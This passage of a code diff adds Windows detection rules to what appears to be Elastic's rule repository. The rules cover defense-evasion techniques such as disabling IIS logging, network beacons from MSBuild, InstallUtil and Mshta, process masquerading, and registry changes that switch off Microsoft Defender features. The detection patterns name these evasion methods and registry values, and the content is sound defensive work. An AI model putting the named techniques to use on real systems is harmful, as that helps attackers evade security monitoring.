"93c1ce76-494c-4f01-8167-35edfb52f7b1" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where +/* update here with encoding combinations */ + registry.data.strings : "TVqQAAMAAAAEAAAA*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1140" +name = "Deobfuscate/Decode Files or Information" +reference = "https://attack.mitre.org/techniques/T1140/" +[[rule.threat.technique]] +id = "T1112" +name = "Modify Registry" +reference = "https://attack.mitre.org/techniques/T1112/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_iis_httplogging_disabled.toml b/rules/windows/defense_evasion_iis_httplogging_disabled.toml new file mode 100644 index 000000000..49b6527dd --- /dev/null +++ b/rules/windows/defense_evasion_iis_httplogging_disabled.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/04/14" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies when Internet Information Services (IIS) HTTP Logging is disabled on a server. An attacker with IIS server +access via a webshell or other mechanism can disable HTTP Logging as an effective anti-forensics measure. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +max_signals = 33 +name = "IIS HTTP Logging Disabled" +risk_score = 73 +rule_id = "ebf1adea-ccf2-4943-8b96-7ab11ca173a5" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "appcmd.exe" or process.pe.original_file_name == "appcmd.exe") and + process.args : "/dontLog*:*True" and + not process.parent.name : "iissetup.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +reference = "https://attack.mitre.org/techniques/T1562/" +name = "Impair Defenses" + + [[rule.threat.technique.subtechnique]] + id = "T1562.002" + name = "Disable Windows Event Logging" + reference = "https://attack.mitre.org/techniques/T1562/002/" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" + diff --git a/rules/windows/defense_evasion_injection_msbuild.toml b/rules/windows/defense_evasion_injection_msbuild.toml new file mode 100755 index 000000000..f5864bd39 --- /dev/null +++ b/rules/windows/defense_evasion_injection_msbuild.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/03/25" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +An instance of MSBuild, the Microsoft Build Engine, created a thread in another process. This technique is sometimes +used to evade detection or elevate privileges. +""" +false_positives = ["The Build Engine is commonly used by Windows developers but use by non-engineers is unusual."] +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Process Injection by the Microsoft Build Engine" +risk_score = 21 +rule_id = "9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae9" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +process.name:MSBuild.exe and event.action:"CreateRemoteThread detected (rule: CreateRemoteThread)" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/defense_evasion_installutil_beacon.toml b/rules/windows/defense_evasion_installutil_beacon.toml new file mode 100644 index 000000000..6d8938cf9 --- /dev/null +++ b/rules/windows/defense_evasion_installutil_beacon.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/10/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies InstallUtil.exe making outbound network connections. This may indicate adversarial activity as InstallUtil is +often leveraged by adversaries to execute code and evade detection. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "InstallUtil Process Making Network Connections" +risk_score = 21 +rule_id = "a13167f1-eec2-4015-9631-1fee60406dcf" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +/* the benefit of doing this as an eql sequence vs kql is this will limit to alerting only on the first network connection */ + +sequence by process.entity_id + [process where event.type in ("start", "process_started") and process.name : "installutil.exe"] + [network where process.name : "installutil.exe" and network.direction : ("outgoing", "egress")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +[[rule.threat.technique.subtechnique]] +id = "T1218.004" +name = "InstallUtil" +reference = "https://attack.mitre.org/techniques/T1218/004/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_masquerading_as_elastic_endpoint_process.toml b/rules/windows/defense_evasion_masquerading_as_elastic_endpoint_process.toml new file mode 100644 index 000000000..08a8952cc --- /dev/null +++ b/rules/windows/defense_evasion_masquerading_as_elastic_endpoint_process.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/08/24" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +A suspicious Endpoint Security parent process was detected. This may indicate a process hollowing or other form of code +injection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Endpoint Security Parent Process" +risk_score = 47 +rule_id = "b41a13c6-ba45-4bab-a534-df53d0cfed6a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started", "info") and + process.name : ("esensor.exe", "elastic-endpoint.exe") and + process.parent.executable != null and + /* add FPs here */ + not process.parent.executable : ("C:\\Program Files\\Elastic\\*", + "C:\\Windows\\System32\\services.exe", + "C:\\Windows\\System32\\WerFault*.exe", + "C:\\Windows\\System32\\wermgr.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_masquerading_renamed_autoit.toml b/rules/windows/defense_evasion_masquerading_renamed_autoit.toml new file mode 100644 index 000000000..a8c489d87 --- /dev/null +++ b/rules/windows/defense_evasion_masquerading_renamed_autoit.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/09/01" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies a suspicious AutoIt process execution. Malware written as an AutoIt script tends to rename the AutoIt +executable to avoid detection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Renamed AutoIt Scripts Interpreter" +risk_score = 47 +rule_id = "2e1e835d-01e5-48ca-b9fc-7a61f7f11902" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started", "info") and + process.pe.original_file_name : "AutoIt*.exe" and not process.name : "AutoIt*.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" + + [[rule.threat.technique.subtechnique]] + id = "T1036.003" + name = "Rename System Utilities" + reference = "https://attack.mitre.org/techniques/T1036/003/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_masquerading_suspicious_werfault_childproc.toml b/rules/windows/defense_evasion_masquerading_suspicious_werfault_childproc.toml new file mode 100644 index 000000000..733c390b7 --- /dev/null +++ b/rules/windows/defense_evasion_masquerading_suspicious_werfault_childproc.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/08/24" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +A suspicious WerFault child process was detected, which may indicate an attempt to run unnoticed. Verify process details +such as command line, network connections, file writes and parent process details as well. +""" +false_positives = ["Custom Windows error reporting debugger or applications restarted by WerFault after a crash."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious WerFault Child Process" +references = [ + "https://www.hexacorn.com/blog/2019/09/19/silentprocessexit-quick-look-under-the-hood/", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx", + "https://blog.menasec.net/2021/01/", +] +risk_score = 47 +rule_id = "ac5012b8-8da8-440b-aaaf-aedafdea2dff" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "WerFault.exe" and + not process.name : ("cofire.exe", + "psr.exe", + "VsJITDebugger.exe", + "TTTracer.exe", + "rundll32.exe", + "LogiOptionsMgr.exe") and + not process.args : ("/LOADSAVEDWINDOWS", + "/restore", + "RestartByRestartManager*", + "--restarted", + "createdump", + "dontsend", + "/watson") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +reference = "https://attack.mitre.org/techniques/T1036/" +name = "Masquerading" + + +[rule.threat.tactic] +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" +name = "Defense Evasion" diff --git a/rules/windows/defense_evasion_masquerading_trusted_directory.toml b/rules/windows/defense_evasion_masquerading_trusted_directory.toml new file mode 100644 index 000000000..ef8008c61 --- /dev/null +++ b/rules/windows/defense_evasion_masquerading_trusted_directory.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies execution from a directory masquerading as the Windows Program Files directories. These paths are trusted and +usually host trusted third party programs. An adversary may leverage masquerading, along with low privileges to bypass +detections allowlisting those folders. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Program Files Directory Masquerading" +risk_score = 47 +rule_id = "32c5cf9c-2ef8-4e87-819e-5ccb7cd18b14" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.executable : "C:\\*Program*Files*\\*.exe" and + not process.executable : ("C:\\Program Files\\*.exe", "C:\\Program Files (x86)\\*.exe", "C:\\Users\\*.exe", "C:\\ProgramData\\*.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" + + [[rule.threat.technique.subtechnique]] + id = "T1036.005" + name = "Match Legitimate Name or Location" + reference = "https://attack.mitre.org/techniques/T1036/005/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_masquerading_werfault.toml b/rules/windows/defense_evasion_masquerading_werfault.toml new file mode 100644 index 000000000..25b898ad3 --- /dev/null +++ b/rules/windows/defense_evasion_masquerading_werfault.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/08/24" +maturity = "production" +updated_date = "2021/10/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious instances of the Windows Error Reporting process (WerFault.exe or Wermgr.exe) with matching +command-line and process executable values performing outgoing network connections. This may be indicative of a +masquerading attempt to evade suspicious child process behavior detections. +""" +false_positives = ["Legit Application Crash with rare Werfault commandline value"] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Windows Error Manager Masquerading" +references = [ + "https://twitter.com/SBousseaden/status/1235533224337641473", + "https://www.hexacorn.com/blog/2019/09/20/werfault-command-line-switches-v0-1/", + "https://app.any.run/tasks/26051d84-b68e-4afb-8a9a-76921a271b81/", +] +risk_score = 47 +rule_id = "6ea41894-66c3-4df7-ad6b-2c5074eb3df8" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by host.id, process.entity_id with maxspan = 5s + [process where event.type:"start" and process.name : ("wermgr.exe", "WerFault.exe") and process.args_count == 1] + [network where process.name : ("wermgr.exe", "WerFault.exe") and network.protocol != "dns" and + network.direction : ("outgoing", "egress") and destination.ip !="::1" and destination.ip !="127.0.0.1" + ] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1036" +name = "Masquerading" +reference = "https://attack.mitre.org/techniques/T1036/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_microsoft_defender_tampering.toml b/rules/windows/defense_evasion_microsoft_defender_tampering.toml new file mode 100644 index 000000000..985c15bbc --- /dev/null +++ b/rules/windows/defense_evasion_microsoft_defender_tampering.toml @@ -0,0 +1,77 @@ +[metadata] +creation_date = "2021/10/18" +maturity = "production" +updated_date = "2022/03/14" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when one or more features on Microsoft Defender are disabled. Adversaries may disable or tamper with Microsoft +Defender features to evade detection and conceal malicious behavior. +""" +false_positives = ["Legitimate Windows Defender configuration changes"] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Windows Defender Tampering" +references = [ + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html", + "https://www.tenforums.com/tutorials/104025-turn-off-core-isolation-memory-integrity-windows-10-a.html", + "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html", + "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", + "https://www.tenforums.com/tutorials/51514-turn-off-microsoft-defender-periodic-scanning-windows-10-a.html", + "https://www.tenforums.com/tutorials/3569-turn-off-real-time-protection-microsoft-defender-antivirus.html", + "https://www.tenforums.com/tutorials/99576-how-schedule-scan-microsoft-defender-antivirus-windows-10-a.html", +] +risk_score = 47 +rule_id = "fe794edd-487f-4a90-b285-3ee54f2af2d3" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type in ("creation", "change") and + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\PUAProtection" and + registry.data.strings : ("0", "0x00000000")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\\DisallowExploitProtectionOverride" and + registry.data.strings : ("0", "0x00000000")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features\\TamperProtection" and + registry.data.strings : ("0", "0x00000000")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableRealtimeMonitoring" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIntrusionPreventionSystem" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScriptScanning" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\Controlled Folder Access\\EnableControlledFolderAccess" and + registry.data.strings : ("0", "0x00000000")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIOAVProtection" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting\\DisableEnhancedNotifications" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\DisableBlockAtFirstSeen" and + registry.data.strings : ("1", "0x00000001")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SpynetReporting" and + registry.data.strings : ("0", "0x00000000")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SubmitSamplesConsent" and + registry.data.strings : ("0", "0x00000000")) or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBehaviorMonitoring" and + registry.data.strings : ("1", "0x00000001")) +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml b/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml new file mode 100644 index 000000000..97121b181 --- /dev/null +++ b/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/11/07" + +[rule] +author = ["Elastic"] +description = """ +Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature +validation. Adversaries may use these binaries to 'live off the land' and execute malicious files that could bypass +application allowlists and signature validation. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Network Connection via Signed Binary" +references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"] +risk_score = 21 +rule_id = "63e65ec3-43b1-45b0-8f2d-45b34291dc44" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where (process.name : "expand.exe" or process.name : "extrac32.exe" or + process.name : "ieexec.exe" or process.name : "makecab.exe") and + event.type == "start"] + [network where (process.name : "expand.exe" or process.name : "extrac32.exe" or + process.name : "ieexec.exe" or process.name : "makecab.exe") and + not cidrmatch(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", + "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", + "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/defense_evasion_ms_office_suspicious_regmod.toml b/rules/windows/defense_evasion_ms_office_suspicious_regmod.toml new file mode 100644 index 000000000..0eb650bda --- /dev/null +++ b/rules/windows/defense_evasion_ms_office_suspicious_regmod.toml @@ -0,0 +1,107 @@ +[metadata] +creation_date = "2022/01/12" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Microsoft Office Products offer options for users and developers to control the security settings for running and using +Macros. Adversaries may abuse these security settings to modify the default behavior of the Office Application to trust +future macros and/or disable security warnings, which could increase their chances of establishing persistence. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "MS Office Macro Security Registry Modifications" +note = """## Triage and analysis + +### Investigating MS Office Macro Security Registry Modifications + +Macros are small programs that are used to automate repetitive tasks in Microsoft Office applications. +Historically, macros have been used for a variety of reasons -- from automating part of a job, to +building entire processes and data flows. Macros are written in Visual Basic for Applications (VBA) and are saved as +part of Microsoft Office files. + +Macros are often created for legitimate reasons, but they can also be written by attackers to gain access, harm a +system, or bypass other security controls such as application allow listing. In fact, exploitation from malicious macros +is one of the top ways that organizations are compromised today. These attacks are often conducted through phishing or +spear phishing campaigns. + +Attackers can convince victims to modify Microsoft Office security settings, so their macros are trusted by default and +no warnings are displayed when they are executed. These settings include: + +* *Trust access to the VBA project object model* - When enabled, Microsoft Office will trust all macros and run any code +without showing a security warning or requiring user permission. +* *VbaWarnings* - When set to 1, Microsoft Office will trust all macros and run any code without showing a security +warning or requiring user permission. + +This rule looks for registry changes affecting the conditions above. + +#### Possible investigation steps + +- Identify the user that performed the operation. +- Verify whether malicious macros were executed after the registry change. +- Contact the user and check if the change was done manually. +- Investigate other alerts associated with the user during the past 48 hours. + +### False positive analysis + +- This activity should not happen legitimately. The security team should address any potential benign true +positives (B-TPs), as this configuration can put the user and the domain at risk. + +### Response and remediation + +- Initiate the incident response process based on the outcome of the triage. +- Reset the registry key value. +- Isolate the host if malicious code was executed and reset the involved account's passwords. +- Explore using GPOs to manage security settings for Microsoft Office macros. +""" +risk_score = 47 +rule_id = "feeed87c-5e95-4339-aef1-47fd79bcfbe3" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type == "change" and + registry.path : ( + "HKU\\S-1-5-21-*\\SOFTWARE\\Microsoft\\Office\\*\\Security\\AccessVBOM", + "HKU\\S-1-5-21-*\\SOFTWARE\\Microsoft\\Office\\*\\Security\\VbaWarnings" + ) and + registry.data.strings == "0x00000001" and + process.name : ("cscript.exe", "wscript.exe", "mshta.exe", "mshta.exe", "winword.exe", "excel.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1112" +name = "Modify Registry" +reference = "https://attack.mitre.org/techniques/T1112/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1204" +name = "User Execution" +reference = "https://attack.mitre.org/techniques/T1204/" + + [[rule.threat.technique.subtechnique]] + id = "T1204.002" + name = "Malicious File" + reference = "https://attack.mitre.org/techniques/T1204/002/" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/windows/defense_evasion_msbuild_beacon_sequence.toml b/rules/windows/defense_evasion_msbuild_beacon_sequence.toml new file mode 100644 index 000000000..68e1d2892 --- /dev/null +++ b/rules/windows/defense_evasion_msbuild_beacon_sequence.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "development" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies MsBuild.exe making outbound network connections. This may indicate adversarial activity as MsBuild is often +leveraged by adversaries to execute code and evade detection. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "MsBuild Network Connection Sequence" +risk_score = 21 +rule_id = "9dc6ed5d-62a9-4feb-a903-fafa1d33b8e9" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +/* duplicate of MsBuild Making Network Connections - 0e79980b-4250-4a50-a509-69294c14e84b */ + +sequence by process.entity_id + [process where event.type in ("start", "process_started") and process.name : "MSBuild.exe"] + [network where process.name : "MSBuild.exe" and + not (destination.ip == "127.0.0.1" and source.ip == "127.0.0.1")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1127" +name = "Trusted Developer Utilities Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1127/" + + [[rule.threat.technique.subtechnique]] + id = "T1127.001" + name = "MSBuild" + reference = "https://attack.mitre.org/techniques/T1127/001/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_msbuild_making_network_connections.toml b/rules/windows/defense_evasion_msbuild_making_network_connections.toml new file mode 100644 index 000000000..1b6bc53ba --- /dev/null +++ b/rules/windows/defense_evasion_msbuild_making_network_connections.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies MsBuild.exe making outbound network connections. This may indicate adversarial activity as MsBuild is often +leveraged by adversaries to execute code and evade detection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "MsBuild Making Network Connections" +risk_score = 47 +rule_id = "0e79980b-4250-4a50-a509-69294c14e84b" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by process.entity_id + [process where process.name : "MSBuild.exe" and event.type == "start"] + [network where process.name : "MSBuild.exe" and + not cidrmatch(destination.ip, "127.0.0.1", "::1")] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1127" +name = "Trusted Developer Utilities Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1127/" + + [[rule.threat.technique.subtechnique]] + id = "T1127.001" + name = "MSBuild" + reference = "https://attack.mitre.org/techniques/T1127/001/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/defense_evasion_mshta_beacon.toml b/rules/windows/defense_evasion_mshta_beacon.toml new file mode 100644 index 000000000..ba7ea1b48 --- /dev/null +++ b/rules/windows/defense_evasion_mshta_beacon.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "production" +updated_date = "2021/07/19" + +[rule] +author = ["Elastic"] +description = """ +Identifies Mshta.exe making outbound network connections. This may indicate adversarial activity, as Mshta is often +leveraged by adversaries to execute malicious scripts and evade detection. +""" +from = "now-20m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Mshta Making Network Connections" +risk_score = 21 +rule_id = "c2d90150-0133-451c-a783-533e736c12d7" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"] +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan=10m + [process where event.type in ("start", "process_started") and process.name : "mshta.exe" and + not process.parent.name : "Microsoft.ConfigurationManagement.exe" and + not (process.parent.executable : "C:\\Amazon\\Amazon Assistant\\amazonAssistantService.exe" or + process.parent.executable : "C:\\TeamViewer\\TeamViewer.exe") and + not process.args : "ADSelfService_Enroll.hta"] + [network where process.name : "mshta.exe"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" +[[rule.threat.technique.subtechnique]] +id = "T1218.005" +name = "Mshta" +reference = "https://attack.mitre.org/techniques/T1218/005/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/windows/defense_evasion_msxsl_beacon.toml b/rules/windows/defense_evasion_msxsl_beacon.toml new file mode 100644 index 000000000..ab5fffc44 --- /dev/null +++ b/rules/windows/defense_evasion_msxsl_beacon.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "development" +updated_date = "2021/10/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies MsXsl.exe making outbound network connections. This may indicate adversarial activity as MsXsl is often +leveraged by adversaries to execute malicious scripts and evade detection. +""" +from = "now-9m" +index = 